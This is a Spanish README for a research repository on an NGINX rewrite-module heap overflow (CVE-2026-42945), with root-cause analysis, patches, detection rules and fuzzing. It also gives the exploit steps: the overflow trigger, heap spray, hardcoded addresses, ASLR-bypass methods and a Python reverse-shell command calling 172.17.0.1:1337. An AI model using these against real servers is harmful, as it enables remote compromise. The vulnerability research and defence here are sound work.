Repositorio completo de investigación sobre CVE-2026-42945 con análisis de desbordamiento de búfer en el heap, exploit de RCE (heap spray + Feng Shui), scripts de detección y guía de parcheo para la vulnerabilidad del módulo rewrite de NGINX.
| Métrica | Valor |
|---|
| CVSS v4.0 | 9.2 (Crítico) |
| CVSS v3.1 | 8.1 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Desbordamiento de búfer basado en montón |
| Introducido | Junio 2008 — v0.6.27 |
| Descubierto | Abril 2026 — DepthFirst Research |
| Corregido | 13 de mayo de 2026 — v1.30.1, v1.31.0 |
| CVE Publicado | 21 de mayo de 2026 |
| Vida útil | ~18 años (no detectado) |
| Commit de corrección | 524977e7c534e87e5b55739fa74601c9f1102686 |
Un atacante remoto no autenticado puede desencadenar un desbordamiento de búfer determinista en el montón en los procesos worker de NGINX mediante el envío de una solicitud HTTP manipulada a un servidor con un patrón de configuración específico de rewrite + set/if/rewrite. El desbordamiento corrompe metadatos del montón (punteros ngx_pool_cleanup_t), lo que permite Ejecución Remota de Código (RCE) mediante técnicas de heap spray y Feng Shui.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Requisitos clave:**
- Una directiva `rewrite` cuya sustitución contenga `?` (separador de cadena de consulta)
- Una directiva `set`, `if` o `rewrite` posterior que haga referencia a una **captura PCRE sin nombre** (`$1`, `$2`, etc.)
- El `?` en la sustitución de rewrite activa `ngx_http_script_start_args_code` que establece `e->is_args = 1`
### Lo que un atacante puede lograr
| Capacidad | Descripción |
|-----------|-------------|
| **Denegación de Servicio** | Bloquear procesos worker de forma determinista, provocando bucles de reinicio (funciona independientemente de ASLR) |
| **Ejecución Remota de Código** | Con ASLR deshabilitado (o evitado mediante sobrescritura parcial), lograr RCE completa como usuario de nginx |
| **Exfiltración de Datos** | A través de primitivas de lectura de memoria, extraer datos sensibles del heap del worker |
| **Persistencia** | Instalar puertas traseras mediante ejecución de código en la memoria del proceso worker |
---
## 2. Análisis de Causa Raíz
### El Motor de Scripts de Dos Pasos
El `ngx_http_rewrite_module` de NGINX utiliza un **motor de scripts de dos pasos** en `src/http/ngx_http_script.c`:
1. **Pase de Longitud** (`ngx_http_script_run`): itera todos los códigos de script para calcular el tamaño total del búfer necesario. Escribe longitudes en `le.ip` y `le.pos`.
2. **Pase de Copia** (`ngx_http_script_copy_len`/`_code`): itera nuevamente, escribiendo bytes reales en el búfer preasignado en `e->ip` y `e->pos`.
Cada código de script tiene dos manejadores: uno para cada pase. Por ejemplo:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### La Bandera `is_args`
La bandera `e->is_args` en la **estructura del motor** (`ngx_http_script_engine_t`) controla cómo el pase de copia maneja ciertos caracteres:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
Cuando e->is_args = 1, el código de copia para las referencias de captura $N llama a ngx_escape_uri() con NGX_ESCAPE_ARGS, lo que expande:
+ → %2B (1 byte → 3 bytes, +200%)% → %25 (1 byte → 3 bytes, +200%)& → %26 (1 byte → 3 bytes, +200%)El flujo de ejecución para el patrón vulnerable:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. Durante la **evaluación de reescritura**, el motor encuentra `?` en la cadena de reemplazo, lo que activa `ngx_http_script_start_args_code`, estableciendo `e->is_args = 1`.
2. La reescritura modifica la URI de la solicitud y luego continúa a la siguiente directiva.
3. **`e->is_args` NUNCA SE LIMPIA**.
Entonces:```
set $original_endpoint $1;
le) para el pase de longitud: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
Esto pone correctamente a cero le.is_args = 0, por lo que el pase de longitud devuelve la longitud de captura bruta, sin escapar.
e, que aún tiene e->is_args = 1 desde el paso 1. El pase de copia aplica el escape de URI, expandiendo cada carácter escapable de 1 byte a 3 bytes dentro de un búfer cuyo tamaño se basó en la longitud bruta — desbordamiento de montón.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
La proporción de expansión es `7 + (n_escapable * 2)` donde `n_escapable` es el recuento de `+`, `%`, y `&` en la captura.
---
## 3. Mecánica de Explotación
### Resumen
| Paso | Técnica | Descripción |
|------|-----------|-------------|
| 1 | Desbordamiento | Enviar URI manipulada con relleno de `+` para desbordar el búfer del heap |
| 2 | Heap Spray | Publicar cuerpos grandes en `/spray` para llenar el heap con datos controlados |
| 3 | Feng Shui | Organizar asignaciones para que el objetivo del desbordamiento (`ngx_pool_cleanup_t`) sea adyacente |
| 4 | Corromper Handler | El desbordamiento sobrescribe `ngx_pool_cleanup_t.handler` con la dirección de `system()` |
| 5 | Activar Limpieza | Esperar la destrucción del pool → `system(cmd)` ejecuta el comando del atacante |
| 6 | Reverse Shell | Encadenar al payload de reverse shell para acceso interactivo |
### Feng Shui entre solicitudes
**El Feng Shui de una sola solicitud falla** porque el desbordamiento corrompe los metadatos del pool (`->d.next`, `->d.failed`) antes de llegar al puntero `cleanup`. Cuando el pool se destruye al final de la solicitud, los metadatos corruptos causan un **bloqueo antes de que se llame a `system()`**.
En su lugar, el exploit utiliza **Feng Shui entre solicitudes**:
1. **Solicitud 1 (spray)**: Publicar un cuerpo grande en `/spray`. El backend (`server.py`) retiene la respuesta con el encabezado `X-Delay`, manteniendo la conexión abierta y preservando la asignación del heap. El spray llena el heap con bloques falsos `ngx_pool_cleanup_t`.
2. **Solicitud 2 (desbordamiento)**: Enviar la URI de desbordamiento. El desbordamiento corrompe solo el puntero `cleanup` (no los metadatos del pool), apuntándolo al bloque falso del spray.
3. **Destrucción del pool**: Cuando la respuesta del spray se completa (el retraso expira), la cadena de limpieza del pool avanza hasta el bloque falso y llama a `system(cmd)`.
### Requisitos de Direcciones
| Símbolo | Valor (Docker, ASLR desactivado) | Descripción |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base del heap de nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` en glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Puntero al pool de ciclos |
| Dirección de limpieza falsa | `0x5555556a4030` | Dirección objetivo del spray |
### Bypass de ASLR
Sin deshabilitar ASLR, el **DoS** (bloqueo) aún funciona de manera determinista. Para RCE con ASLR habilitado, dos enfoques:
1. **Sobrescritura parcial**: Usar sobrescritura de 1 o 2 bytes para desplazar un puntero dentro de la misma página, forzando por fuerza bruta los nibbles restantes (16–256 intentos).
2. **Fuga de información**: Leer `/proc/self/maps` o usar el análisis de memoria de `log_parser.py` para determinar el diseño.
---
## 4. Análisis de la Corrección
### La Corrección Oficial
**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`
**Archivo**: `src/http/ngx_http_script.c`
**Línea**: ~1205 (en `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code se ejecuta después de cada evaluación de expresión regular durante los pases de longitud y copia. Restablecer e->is_args = 0 aquí asegura:
set, if, rewrite) comienzan con un is_args = 0 limpiongx_http_script_start_args_code aún puede establecer is_args = 1 cuando encuentra ? en una cadena de reemplazo — la corrección no rompe esa funcionalidadpatches/0002-hardening-bounds-check.patch agrega una verificación de límites en ngx_http_script_copy_capture_code:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Parches Retroportados
| Parche | Versiones de Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. Versiones Afectadas
### NGINX Open Source
| Rango | Estado |
|-------|--------|
| **0.1.0 – 0.6.26** | No afectado (el módulo rewrite es anterior a las capturas sin nombre) |
| **0.6.27 – 1.30.0** | **Vulnerable** (período de 18 años) |
| **1.30.1** | Primera versión corregida |
| **1.31.0+** | Corregido (mainline) |
### NGINX Plus
| Lanzamiento | Afectada | Corregida |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### Ecosistema NGINX
| Producto | Afectado | Estado |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Aviso pendiente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Aviso pendiente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Aviso pendiente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Aviso pendiente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Aviso pendiente |
| NGINX Agent | 2.0.0–2.35.0 | Aviso pendiente |
---
## 6. Detección
### Verificación de Versión```bash
bash detection/detect_vuln.sh
Este script verifica:
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### Escaneo de contenedores```bash
python3 detection/container_scan.py
Escanea imágenes locales de Docker en busca de etiquetas/variables de entorno de NGINX que indiquen versiones vulnerables.
| Conjunto de Reglas | Archivo | Cobertura |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | Bloquea 100+ + consecutivos, 50+ caracteres escapables codificados, limita la velocidad de endpoints de spray |
| Suricata/Snort | detection/suricata_rule.rules | Detecta exceso de + en URIs GET, inundaciones de caracteres codificados, spray POST a /spray, DoS de bucle de caída |
| Falco | detection/falco_rule.yaml | Tiempo de ejecución: SIGSEGV en worker de nginx, bucle de caída (3+ en 60s), detección de spray heap POST |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
## 7. Mitigación
### Inmediata (Sin cambio de código)
Reemplace **capturas sin nombre** por **capturas con nombre** en todas las directivas `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Las capturas nombradas no pasan por ngx_escape_uri(..., NGX_ESCAPE_ARGS), por lo que incluso con e->is_args = 1, no ocurre expansión ni desbordamiento.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Aplica estas medidas de endurecimiento:
- Verificación de ASLR y habilitación forzada
- Aislamiento de procesos worker
- Restricción de volcados de núcleo
- Endurecimiento de SSL/TLS
- Limitación de tasa
- Encabezados CSP
### Verificación de ASLR```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
---
## 9. Inicio Rápido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
El entorno Docker:
- Compila NGINX desde el código fuente en el commit `98fc3bb78` (último commit vulnerable antes de la corrección)
- Incluye GDB, valgrind, `util-linux` (para `setarch -R` para deshabilitar ASLR)
- Expone los puertos **19321** (nginx vulnerable), **19322** (secundario), **19323** (backend Python)
- El entrypoint usa `setarch x86_64 -R` para deshabilitar ASLR y obtener un diseño de direcciones determinista para el exploit
- Otorga la capacidad `SYS_PTRACE` y `seccomp=unconfined` para depuración
### Solo vulnerable```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### Contenedor ASAN```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
## 11. Desencadenar el Desbordamiento
### Fallo Básico (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
Esto envía:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
Los caracteres `+` en la captura `$1` se expanden 3× durante el paso de copia mientras el búfer se dimensionó para la longitud bruta, desbordando el montón.
### Salida Esperada```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Calcula el número mínimo de signos `+` necesarios para desbordar un número objetivo de bytes (útil al explotar estructuras específicas del heap).
### Expansión de Caracteres```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
Muestra la relación de expansión para una longitud de prefijo dada y un número de caracteres escapables.
El exploit implementa Feng Shui entre solicitudes para lograr ejecución de código fiable:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### Uso básico```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### Advanced Options
| Flag | Default | Description |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host objetivo |
| `--port` | `19321` | Puerto objetivo |
| `--cmd` | — | Comando a ejecutar (requerido a menos que se use `--shell`) |
| `--shell` | — | Usar modo shell interactivo |
| `--tries` | `3` | Número de intentos de explotación |
| `--delay` | `2.0` | Retardo entre spray y desbordamiento (segundos) |
| `--payload` | — | Ruta al archivo de payload personalizado |
| `--debug` | — | Habilitar salida de depuración detallada |
### Análisis del diseño del heap```bash
python3 exploit/heap_layout.py
Requiere un PID de un worker nginx en ejecución. Analiza /proc/PID/maps para encontrar:
system()python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Encuentra direcciones de heap cuyos bytes no incluyen caracteres escapables (`+`, `%`, `&`, `?`, etc.) para su uso en la construcción de cargas de exploit.
---
## 13. Verificación de Reverse Shell
### Arquitectura```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Tipo | Binario | Notas |
|---|---|---|
bash | /dev/tcp | TCP nativo de bash |
python | python3 -c | Más fiable, siempre disponible |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Requiere certificado |
powershell | powershell | Objetivos Windows |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### Verificación Automatizada```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
## 14. Parcheo
### Aplicar el parche```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### Aplicar Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
## 15. Pruebas
### Pruebas Unitarias```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Ejecuta:
1. Pruebas unitarias (pytest o unittest)
2. Prueba de activación/desbordamiento (si el servidor está ejecutándose)
3. Escáner de configuración contra configuraciones vulnerables y seguras
4. Validación de simulación de parche
### Matriz de regresión```bash
bash tools/regression_matrix.sh
Prueba múltiples versiones de NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) contra configuraciones vulnerables y seguras, verificando expectativas de caída/no-caída.
bash tools/test_all_configs.sh
Prueba todos los patrones de configuración (básico, avanzado, entrada, puerta de enlace) con disparadores de desbordamiento.
---
## 16. Fuzzing
### Harness de libFuzzer
El fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula el motor de script de dos pasadas:
1. Analiza la entrada como una secuencia de códigos de script
2. Ejecuta la pasada de longitud
3. Ejecuta la pasada de copia con `e->is_args = 1`
4. Detecta desbordamiento de búfer mediante ASAN o discrepancia de tamaño```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Lanza AFL++ con ASAN, tiempo de espera configurable y límites de memoria contra el harness de fuzzing.
### Corpus de Semillas
El directorio `fuzz/corpus/` contiene entradas de semillas que reproducen el patrón vulnerable, incluyendo:
- Disparador básico de desbordamiento
- Captura nombrada (no debería desbordar)
- Casos límite (captura vacía, tamaño máximo, etc.)
---
## 17. Tubería de CI
### GitHub Actions
El proyecto utiliza un **único flujo de trabajo de CI de GitHub Actions** (`.github/workflows/ci.yml`) con estos trabajos:
| Trabajo | Lo que hace |
|---------|-------------|
| `lint` | ShellCheck, validación de sintaxis de Python |
| `scan-configs` | Ejecuta config_scanner.py contra todas las muestras de configuración |
| `fuzz-build` | Construye el harness de libFuzzer |
| `test` | Ejecuta la suite de pytest/unittest |
| `detect-patch` | Verifica el formato del parche y el contenido de la corrección |
| `verify-project` | Ejecuta `tools/verify_project.sh` |
### Tubería Completa```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
El pipeline ejecuta 7 fases:
| Documento | Descripción |
|---|---|
docs/root-cause-analysis.md | Análisis técnico profundo del fallo del motor de script de dos pasadas, con recorridos de código y diagramas |
docs/exploitation-guide.md | Explotación paso a paso, heap spray, Feng Shui, cálculo de direcciones, bypass de ASLR |
docs/detection-guide.md | Escaneo de configuración, análisis de logs, reglas WAF, integración SIEM, detección de anomalías |
docs/mitigation-guide.md | Conversión de capturas nombradas, limitación de velocidad, despliegue de WAF, procedimientos de actualización |
docs/FAQ.md | Preguntas frecuentes sobre la vulnerabilidad, explotación y remediación |
docs/timeline.md | Cronología de divulgación completa desde la introducción del fallo en 2008 hasta la corrección en 2026 |
docs/operational-guidance.md | Respuesta a incidentes, forense, recolección de IOCs, mitigación de emergencia |
docs/case-study.md | Simulación de escenario de ataque real con análisis de la cadena de ataque |
docs/presentation-slides.md | Presentación para conferencia/reunión con notas del orador |
| Métrica | Valor |
|---|---|
| Archivos totales | 80+ |
| Directorios | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Scripts Python | 22 (exploit, detection, tools, shell, test) |
| Scripts Shell | 15 (detection, tools, shell, test, pipelines) |
| Parches | 5 (1 fix + 1 hardening + 3 backports) |
| Conjuntos de reglas WAF | 3 (ModSecurity, Suricata, Falco) |
| Configuración de CI | 1 (GitHub Actions — only CI) |
| Documentación | 9 documentos técnicos detallados |
| Muestras de configuración | 7 (4 vulnerable, 2 safe, 1 named capture + 3 advanced) |
| Registro de commits | 1003+ commits individuales |
| Tipos de shell | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Harness de fuzzing | 1 (libFuzzer, ~200 lines C) |
| Casos de prueba | 8 pruebas unitarias + lanzador shell |
| Versiones de NGINX cubiertas | 20 en la matriz de regresión |
| Ciclo de vida | 18 años (2008–2026) |
| Referencia | URL |
|---|---|
| Entrada NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Commit de corrección | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| Aviso de F5 | https://my.f5.com/manage/s/article/K000161019 |
| Registro de cambios de NGINX | https://nginx.org/en/CHANGES |
| Referencia | URL |
|---|---|
| Investigación DepthFirst | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| Repositorio PoC | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| Recurso | Descripción |
|---|---|
ngx_http_script.c | El archivo fuente con el fallo en el módulo de reescritura de NGINX |
ngx_pool_cleanup_t | La estructura del heap corrompida para RCE |
ngx_escape_uri() | La función de expansión que causa el desbordamiento |
setarch(8) | Herramienta de Linux para deshabilitar ASLR para direcciones de explotación deterministas |
Este proyecto es con fines educativos y de investigación defensiva en seguridad. La vulnerabilidad ha sido divulgada y corregida de manera responsable por los mantenedores de NGINX.